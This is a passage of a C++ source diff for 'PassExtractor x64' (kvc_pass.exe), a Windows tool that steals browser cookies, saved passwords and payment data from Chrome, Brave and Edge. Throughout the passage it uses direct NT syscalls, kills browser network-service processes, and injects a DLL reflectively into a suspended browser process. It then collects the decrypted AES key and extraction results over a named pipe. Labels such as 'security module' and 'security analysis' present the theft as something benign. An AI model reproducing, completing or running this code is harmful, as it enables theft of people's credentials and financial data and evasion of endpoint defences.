+ std::ostringstream oss; + oss << "0x" << std::hex << reinterpret_cast(ptr); + return oss.str(); + } + + // Format NTSTATUS as hex string + std::string NtStatusToString(NTSTATUS status) noexcept + { + std::ostringstream oss; + oss << "0x" << std::hex << status; + return oss.str(); + } + + // Generate unique named pipe identifier + std::wstring GenerateUniquePipeName() + { + UUID uuid; + UuidCreate(&uuid); + wchar_t* uuidStrRaw = nullptr; + UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw); + std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw); + RpcStringFreeW((RPC_WSTR*)&uuidStrRaw); + return pipeName; + } + + // Capitalize first letter of string + std::string Capitalize(const std::string& str) + { + if (str.empty()) return str; + std::string result = str; + result[0] = static_cast(std::toupper(static_cast(result[0]))); + return result; + } + } +} + +// Console output manager with colored text support +class Console +{ +public: + explicit Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE)) + { + CONSOLE_SCREEN_BUFFER_INFO consoleInfo; + GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo); + m_originalAttributes = consoleInfo.wAttributes; + } + + void displayBanner() const + { + SetColor(FOREGROUND_RED | FOREGROUND_INTENSITY); + std::cout << "PassExtractor x64 | " << APP_VERSION << " by WESMAR\n\n"; + ResetColor(); + } + + void printUsage() const + { + SetColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L"Usage:\n" + << L" kvc_pass.exe [options] \n\n" + << L"Options:\n" + << L" --output-path|-o Directory for output files (default: .\\output\\)\n" + << L" --verbose|-v Enable verbose debug output from the orchestrator\n" + << L" --help|-h Show this help message\n\n" + << L"Browser targets:\n" + << L" chrome - Extract from Google Chrome\n" + << L" brave - Extract from Brave Browser\n" + << L" edge - Extract from Microsoft Edge\n" + << L" all - Extract from all installed browsers\n\n" + << L"Required files:\n" + << L" " << SECURITY_MODULE_NAME << L" - Security module (same directory)\n" + << L" winsqlite3.dll - SQLite library (system32) or sqlite3.dll fallback\n"; + ResetColor(); + } + + void Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } + void Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); } + void Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); } + void Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } + + void Debug(const std::string& msg) const + { + if (m_verbose) + print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN); + } + + // Relay messages from security module with colored tags + void Relay(const std::string& message) const + { + size_t tagStart = message.find('['); + size_t tagEnd = message.find(']', tagStart); + + if (tagStart != std::string::npos && tagEnd != std::string::npos) + { + std::cout << message.substr(0, tagStart); + std::string tag = message.substr(tagStart, tagEnd - tagStart + 1); + + WORD color = m_originalAttributes; + if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY; + else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY; + else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY; + else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; + + SetColor(color); + std::cout << tag; + ResetColor(); + std::cout << message.substr(tagEnd + 1) << std::endl; + } + else + { + std::cout << message << std::endl; + } + } + + bool m_verbose; + +private: + void print(const std::string& tag, const std::string& msg, WORD color) const + { + SetColor(color); + std::cout << tag; + ResetColor(); + std::cout << " " << msg << std::endl; + } + + void SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); } + void ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); } + + HANDLE m_hConsole; + WORD m_originalAttributes; +}; + +// Registry-based browser installation path resolver +class BrowserPathResolver +{ +public: + explicit BrowserPathResolver(const Console& console) : m_console(console) {} + + // Resolve browser executable path from Windows Registry + std::wstring resolve(const std::wstring& browserExeName) + { + m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName)); + + const std::wstring registryPaths[] = { + L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName, + L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName + }; + + for (const auto& regPath : registryPaths) + { + std::wstring path = queryRegistryDefaultValue(regPath); + if (!path.empty() && fs::exists(path)) + { + m_console.Debug("Found at: " + Utils::WStringToUtf8(path)); + return path; + } + } + + m_console.Debug("Not found in Registry"); + return L""; + } + + // Enumerate all supported browsers installed on the system + std::vector> findAllInstalledBrowsers() + { + std::vector> installedBrowsers; + + const std::pair supportedBrowsers[] = { + {L"chrome", L"chrome.exe"}, + {L"edge", L"msedge.exe"}, + {L"brave", L"brave.exe"} + }; + + m_console.Debug("Enumerating installed browsers..."); + + for (const auto& [browserType, exeName] : supportedBrowsers) + { + std::wstring path = resolve(exeName); + if (!path.empty()) + { + installedBrowsers.push_back({browserType, path}); + m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) + + " at: " + Utils::WStringToUtf8(path)); + } + } + + if (installedBrowsers.empty()) + m_console.Warn("No supported browsers found installed on this system"); + else + m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process"); + + return installedBrowsers; + } + +private: + // Query registry key default value using direct syscalls + std::wstring queryRegistryDefaultValue(const std::wstring& keyPath) + { + std::vector pathBuffer(keyPath.begin(), keyPath.end()); + pathBuffer.push_back(L'\0'); + + UNICODE_STRING_SYSCALLS keyName; + keyName.Buffer = pathBuffer.data(); + keyName.Length = static_cast(keyPath.length() * sizeof(wchar_t)); + keyName.MaximumLength = static_cast(pathBuffer.size() * sizeof(wchar_t)); + + OBJECT_ATTRIBUTES objAttr; + InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr); + + HANDLE hKey = nullptr; + NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr); + + if (!NT_SUCCESS(status)) + { + if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND + m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status)); + return L""; + } + + UniqueHandle keyGuard(hKey); + + UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr}; + ULONG bufferSize = 4096; + std::vector buffer(bufferSize); + ULONG resultLength = 0; + + status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, + buffer.data(), bufferSize, &resultLength); + + // Handle buffer size insufficient + if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW) + { + buffer.resize(resultLength); + bufferSize = resultLength; + status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, + buffer.data(), bufferSize, &resultLength); + } + + if (!NT_SUCCESS(status)) + return L""; + + auto kvpi = reinterpret_cast(buffer.data()); + + // Validate registry value type and size + if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ) + return L""; + if (kvpi->DataLength < sizeof(wchar_t) * 2) + return L""; + + size_t charCount = kvpi->DataLength / sizeof(wchar_t); + std::wstring path(reinterpret_cast(kvpi->Data), charCount); + + // Remove null terminators + while (!path.empty() && path.back() == L'\0') + path.pop_back(); + + if (path.empty()) + return L""; + + // Expand environment variables if needed + if (kvpi->Type == REG_EXPAND_SZ) + { + std::vector expanded(MAX_PATH * 2); + DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(), + static_cast(expanded.size())); + if (size > 0 && size <= expanded.size()) + path = std::wstring(expanded.data()); + } + + return path; + } + + const Console& m_console; +}; + +// Application configuration management +struct Configuration +{ + bool verbose = false; + fs::path outputPath; + std::wstring browserType; + std::wstring browserProcessName; + std::wstring browserDefaultExePath; + std::string browserDisplayName; + + // Parse command line arguments and create configuration + static std::optional CreateFromArgs(int argc, wchar_t* argv[], const Console& console) + { + Configuration config; + fs::path customOutputPath; + + // Parse command line arguments + for (int i = 1; i < argc; ++i) + { + std::wstring_view arg = argv[i]; + if (arg == L"--verbose" || arg == L"-v") + config.verbose = true; + else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) + customOutputPath = argv[++i]; + else if (arg == L"--help" || arg == L"-h") + { + console.printUsage(); + return std::nullopt; + } + else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-') + config.browserType = arg; + else + { + console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg)); + return std::nullopt; + } + } + + if (config.browserType.empty()) + { + console.printUsage(); + return std::nullopt; + } + + // Normalize browser type to lowercase + std::transform(config.browserType.begin(), config.browserType.end(), + config.browserType.begin(), ::towlower); + + static const std::map browserExeMap = { + {L"chrome", L"chrome.exe"}, + {L"brave", L"brave.exe"}, + {L"edge", L"msedge.exe"} + }; + + auto it = browserExeMap.find(config.browserType); + if (it == browserExeMap.end()) + { + console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType)); + return std::nullopt; + } + + config.browserProcessName = it->second; + + // Resolve browser installation path through registry + BrowserPathResolver resolver(console); + config.browserDefaultExePath = resolver.resolve(config.browserProcessName); + + if (config.browserDefaultExePath.empty()) + { + console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) + " installation in Registry"); + console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) + " is properly installed"); + return std::nullopt; + } + + config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType)); + config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" : fs::absolute(customOutputPath); + + return config; + } +}; + +// Target browser process lifecycle management +class TargetProcess +{ +public: + TargetProcess(const Configuration& config, const Console& console) : m_config(config), m_console(console) {} + + // Create suspended browser process for security analysis + void createSuspended() + { + m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process."); + m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath)); + + STARTUPINFOW si{}; + PROCESS_INFORMATION pi{}; + si.cb = sizeof(si); + + if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr, + FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) + throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError())); + + m_hProcess.reset(pi.hProcess); + m_hThread.reset(pi.hThread); + m_pid = pi.dwProcessId; + + m_console.Debug("Created suspended process PID: " + std::to_string(m_pid)); + checkArchitecture(); + } + + // Terminate browser process via direct syscall + void terminate() + { + if (m_hProcess) + { + m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall."); + NtTerminateProcess_syscall(m_hProcess.get(), 0); + m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator."); + } + } + + HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); } + +private: + // Verify target process architecture compatibility + void checkArchitecture() + { + USHORT processArch = 0, nativeMachine = 0; + auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress( + GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2"); + if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine)) + throw std::runtime_error("Failed to determine target process architecture."); + + m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch; + constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64; + + if (m_arch != orchestratorArch) + throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " + + std::string(getArchName(m_arch))); + + m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch))); + } + + const char* getArchName(USHORT arch) const noexcept + { + switch (arch) + { + case IMAGE_FILE_MACHINE_AMD64: return "x64"; + case IMAGE_FILE_MACHINE_I386: return "x86"; + default: return "Unknown"; + } + } + + const Configuration& m_config; + const Console& m_console; + DWORD m_pid = 0; + UniqueHandle m_hProcess; + UniqueHandle m_hThread; + USHORT m_arch = 0; +}; + +// Named pipe communication with security module +class PipeCommunicator +{ +public: + // Data extraction statistics collected from module + struct ExtractionStats + { + int totalCookies = 0; + int totalPasswords = 0; + int totalPayments = 0; + int profileCount = 0; + std::string aesKey; + }; + + PipeCommunicator(const std::wstring& pipeName, const Console& console) : m_pipeName(pipeName), m_console(console) {} + + // Create named pipe server for module communication + void create() + { + m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX, + PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, + 1, 4096, 4096, 0, nullptr)); + if (!m_pipeHandle) + throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError())); + + m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName)); + } + + // Wait for security module to establish connection + void waitForClient() + { + m_console.Debug("Waiting for security module to connect to named pipe."); + if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED) + throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError())); + + m_console.Debug("Security module connected to named pipe."); + } + + // Send initial configuration to security module + void sendInitialData(bool isVerbose, const fs::path& outputPath) + { + writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE"); + writeMessage(Utils::path_to_api_string(outputPath)); + } + + // Relay messages from security module and parse statistics + void relayMessages() + { + m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")"); + + if (m_console.m_verbose) + std::cout << std::endl; + + const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__"; + DWORD startTime = GetTickCount(); + std::string accumulatedData; + char buffer[4096]; + bool completed = false; + + while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS)) + { + DWORD bytesAvailable = 0; + if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr)) + { + if (GetLastError() == ERROR_BROKEN_PIPE) + break; + m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError())); + break; + } + + if (bytesAvailable == 0) + { + Sleep(100); + continue; + } + + DWORD bytesRead = 0; + if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + if (GetLastError() == ERROR_BROKEN_PIPE) + break; + continue; + } + + accumulatedData.append(buffer, bytesRead); + + // Process null-terminated messages + size_t messageStart = 0; + size_t nullPos; + while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos) + { + std::string message = accumulatedData.substr(messageStart, nullPos - messageStart); + messageStart = nullPos + 1; + + if (message == moduleCompletionSignal) + { + m_console.Debug("Security module completion signal received."); + completed = true; + break; + } + + parseExtractionMessage(message); + + if (!message.empty() && m_console.m_verbose) + m_console.Relay(message); + } + + if (completed) + break; + + accumulatedData.erase(0, messageStart); + } + + if (m_console.m_verbose) + std::cout << std::endl; + + m_console.Debug("Security module signaled completion or pipe interaction ended."); + } + + const ExtractionStats& getStats() const noexcept { return m_stats; } + const std::wstring& getName() const noexcept { return m_pipeName; } + +private: + // Write message to named pipe + void writeMessage(const std::string& msg) + { + DWORD bytesWritten = 0; + if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast(msg.length() + 1), &bytesWritten, nullptr) || + bytesWritten != (msg.length() + 1)) + throw std::runtime_error("WriteFile to pipe failed for message: " + msg); + + m_console.Debug("Sent message to pipe: " + msg); + } + + // Parse extraction statistics from security module messages + void parseExtractionMessage(const std::string& message) + { + auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int + { + size_t start = message.find(prefix); + if (start == std::string::npos) return 0; + start += prefix.length(); + size_t end = message.find(suffix, start); + if (end == std::string::npos) return 0; + + try { + return std::stoi(message.substr(start, end - start)); + } + catch (...) { + return 0; + } + }; + + // Parse different statistics from security module messages + if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos) + m_stats.profileCount = extractNumber("Found ", " profile(s)"); + + if (message.find("Decrypted AES Key: ") != std::string::npos) + m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19); + + if (message.find(" cookies extracted to ") != std::string::npos) + m_stats.totalCookies += extractNumber("[*] ", " cookies"); + + if (message.find(" passwords extracted to ") != std::string::npos) + m_stats.totalPasswords += extractNumber("[*] ", " passwords"); + + if (message.find(" payments extracted to ") != std::string::npos) + m_stats.totalPayments += extractNumber("[*] ", " payments"); + } + + std::wstring m_pipeName; + const Console& m_console; + UniqueHandle m_pipeHandle; + ExtractionStats m_stats; +}; + +// Security module injection and execution manager +class InjectionManager +{ +public: + InjectionManager(TargetProcess& target, const Console& console) : m_target(target), m_console(console) {} + + // Execute security module in target process + void execute(const std::wstring& pipeName) + { + m_console.Debug("Loading security module from file: " + g_securityModulePath); + loadSecurityModuleFromFile(g_securityModulePath); + + m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point."); + DWORD rdiOffset = getInitializeSecurityContextOffset(); + if (rdiOffset == 0) + throw std::runtime_error("Could not find InitializeSecurityContext export in security module."); + m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset)); + + // Allocate memory in target process for module and parameters + m_console.Debug("Allocating memory for security module in target process."); + PVOID remoteModuleBase = nullptr; + SIZE_T moduleSize = m_moduleBuffer.size(); + SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t); + SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize; + + NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0, + &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status)); + m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase)); + + // Write security module to target process + m_console.Debug("Writing security module to target process memory."); + SIZE_T bytesWritten = 0; + status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase, + m_moduleBuffer.data(), moduleSize, &bytesWritten); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status)); + + // Write pipe name parameter + m_console.Debug("Writing pipe name parameter into the same allocation."); + LPVOID remotePipeNameAddr = reinterpret_cast(remoteModuleBase) + moduleSize; + status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, + (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status)); + + // Make module memory executable + m_console.Debug("Changing module memory protection to executable."); + ULONG oldProtect = 0; + status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, + &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status)); + + startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr); + m_console.Debug("New thread created for security module. Main thread remains suspended."); + } + +private: + // Load security module from disk + void loadSecurityModuleFromFile(const std::string& modulePath) + { + if (!fs::exists(modulePath)) + throw std::runtime_error("Security module not found: " + modulePath); + + std::ifstream file(modulePath, std::ios::binary); + if (!file) + throw std::runtime_error("Failed to open security module: " + modulePath); + + file.seekg(0, std::ios::end); + auto fileSize = file.tellg(); + file.seekg(0, std::ios::beg); + + m_moduleBuffer.resize(static_cast(fileSize)); + file.read(reinterpret_cast(m_moduleBuffer.data()), fileSize); + + if (!file) + throw std::runtime_error("Failed to read security module: " + modulePath); + + m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath); + } + + // Find InitializeSecurityContext export in PE headers + DWORD getInitializeSecurityContextOffset() + { + auto dosHeader = reinterpret_cast(m_moduleBuffer.data()); + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return 0; + + auto ntHeaders = reinterpret_cast((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew); + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) + return 0; + + auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (exportDirRva == 0) + return 0; + + // RVA to file offset converter + auto RvaToOffset = [&](DWORD rva) -> PVOID + { + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section) + { + if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize) + { + return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress)); + } + } + return nullptr; + }; + + auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva); + if (!exportDir) return 0; + + auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames); + auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals); + auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions); + if (!names || !ordinals || !funcs) return 0; + + // Search for InitializeSecurityContext export + for (DWORD i = 0; i < exportDir->NumberOfNames; ++i) + { + char* funcName = (char*)RvaToOffset(names[i]); + if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0) + { + PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]); + if (!funcOffsetPtr) return 0; + return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data()); + } + } + return 0; + } + + // Create new thread in target process to execute security module + void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr) + { + m_console.Debug("Creating new thread in target to execute InitializeSecurityContext."); + + uintptr_t entryPoint = reinterpret_cast(remoteModuleBase) + rdiOffset; + HANDLE hRemoteThread = nullptr; + + NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(), + (LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr); + + UniqueHandle remoteThreadGuard(hRemoteThread); + + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status)); + + m_console.Debug("Successfully created new thread for security module."); + } + + TargetProcess& m_target; + const Console& m_console; + std::vector m_moduleBuffer; +}; + +// Helper function to build extraction summary string +std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats) +{ + std::stringstream summary; + std::vector items; + + if (stats.totalCookies > 0) + items.push_back(std::to_string(stats.totalCookies) + " cookies"); + if (stats.totalPasswords > 0) + items.push_back(std::to_string(stats.totalPasswords) + " passwords"); + if (stats.totalPayments > 0) + items.push_back(std::to_string(stats.totalPayments) + " payments"); + + if (!items.empty()) + { + summary << "Extracted "; + for (size_t i = 0; i < items.size(); ++i) + { + if (i > 0 && i == items.size() - 1) + summary << " and "; + else if (i > 0) + summary << ", "; + summary << items[i]; + } + summary << " from " << stats.profileCount << " profile" << (stats.profileCount != 1 ? "s" : ""); + } + + return summary.str(); +} + +// Check if Windows built-in SQLite3 library is available +bool CheckWinSQLite3Available() +{ + HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll"); + if (hWinSQLite) + { + FreeLibrary(hWinSQLite); + return true; + } + return false; +} + +// Terminate browser network service processes to release database locks +void KillBrowserNetworkService(const Configuration& config, const Console& console) +{ + console.Debug("Scanning for and terminating browser network services..."); + + UniqueHandle hCurrentProc; + HANDLE nextProcHandle = nullptr; + int processes_terminated = 0; + + // Enumerate all processes on the system + while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, + 0, 0, &nextProcHandle))) + { + UniqueHandle hNextProc(nextProcHandle); + hCurrentProc = std::move(hNextProc); + + // Get process image name + std::vector buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2); + auto imageName = reinterpret_cast(buffer.data()); + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, + imageName, (ULONG)buffer.size(), NULL)) || + imageName->Length == 0) + continue; + + fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t))); + if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0) + continue; + + // Get process basic information and PEB + PROCESS_BASIC_INFORMATION pbi{}; + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, + &pbi, sizeof(pbi), nullptr)) || + !pbi.PebBaseAddress) + continue; + + PEB peb{}; + if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr))) + continue; + + RTL_USER_PROCESS_PARAMETERS params{}; + if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr))) + continue; + + // Read command line to identify network service processes + std::vector cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0); + if (params.CommandLine.Length > 0 && + !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, + cmdLine.data(), params.CommandLine.Length, nullptr))) + continue; + + // Check for network service process signature + if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService")) + { + console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId)); + NtTerminateProcess_syscall(hCurrentProc.get(), 0); + processes_terminated++; + } + } + + if (processes_terminated > 0) + { + console.Debug("Termination sweep complete. Waiting for file locks to fully release."); + Sleep(1500); + } +} + +// Execute complete security analysis workflow for a single browser +PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console) +{ + KillBrowserNetworkService(config, console); + + TargetProcess target(config, console); + target.createSuspended(); + + PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console); + pipe.create(); + + InjectionManager injector(target, console); + injector.execute(pipe.getName()); + + pipe.waitForClient(); + pipe.sendInitialData(config.verbose, config.outputPath); + pipe.relayMessages(); + + target.terminate(); + + return pipe.getStats(); +} + +// Display extraction results summary +void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats, + const Console& console, bool singleBrowser, const fs::path& outputPath) +{ + if (singleBrowser) + { + if (!stats.aesKey.empty()) + console.Success("AES Key: " + stats.aesKey); + + std::string summary = BuildExtractionSummary(stats); + if (!summary.empty()) + { + console.Success(summary); + console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); + } + else + { + console.Warn("No data extracted"); + } + } + else + { + console.Info(browserName); + + if (!stats.aesKey.empty()) + console.Success("AES Key: " + stats.aesKey); + + std::string summary = BuildExtractionSummary(stats); + if (!summary.empty()) + { + console.Success(summary); + console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); + } + else + { + console.Warn("No data extracted"); + } + } +} + +// Process all installed browsers sequentially +void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath) +{ + if (verbose) + console.Info("Starting multi-browser security analysis..."); + + BrowserPathResolver resolver(console); + auto installedBrowsers = resolver.findAllInstalledBrowsers(); + + if (installedBrowsers.empty()) + { + console.Error("No supported browsers found on this system"); + return; + } + + if (!verbose) + console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n"); + + int successCount = 0; + int failCount = 0; + + for (size_t i = 0; i < installedBrowsers.size(); ++i) + { + const auto& [browserType, browserPath] = installedBrowsers[i]; + + Configuration config; + config.verbose = verbose; + config.outputPath = outputPath; + config.browserType = browserType; + config.browserDefaultExePath = browserPath; + + // Map browser type to process name and display name + static const std::map> browserMap = { + {L"chrome", {L"chrome.exe", "Chrome"}}, + {L"edge", {L"msedge.exe", "Edge"}}, + {L"brave", {L"brave.exe", "Brave"}} + }; + + auto it = browserMap.find(browserType); + if (it != browserMap.end()) + { + config.browserProcessName = it->second.first; + config.browserDisplayName = it->second.second; + } + + if (verbose) + { + console.Info("\n[Browser " + std::to_string(i + 1) + "/" + std::to_string(installedBrowsers.size()) + + "] Processing " + config.browserDisplayName); + } + + try + { + auto stats = RunInjectionWorkflow(config, console); + successCount++; + + if (verbose) + { + console.Success(config.browserDisplayName + " analysis completed"); + } + else + { + DisplayExtractionSummary(config.browserDisplayName, stats, console, false, config.outputPath); + if (i < installedBrowsers.size() - 1) + std::cout << std::endl; + } + } + catch (const std::exception& e) + { + failCount++; + + if (verbose) + { + console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what())); + } + else + { + console.Info(config.browserDisplayName); + console.Error("Analysis failed"); + if (i < installedBrowsers.size() - 1) + std::cout << std::endl; + } + } + } + + std::cout << std::endl; + console.Info("Completed: " + std::to_string(successCount) + " successful, " + std::to_string(failCount) + " failed"); +} + +// Application entry point +int wmain(int argc, wchar_t* argv[]) +{ + bool isVerbose = false; + std::wstring browserTarget; + fs::path outputPath; + + // Validate required files before startup - only security module is mandatory + auto findSecurityModule = []() -> std::string { + // Try current directory first + if (fs::exists(SECURITY_MODULE_NAME)) + return SECURITY_MODULE_NAME; + + // Try system directory + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { + std::string systemPath = Utils::WStringToUtf8(systemDir) + 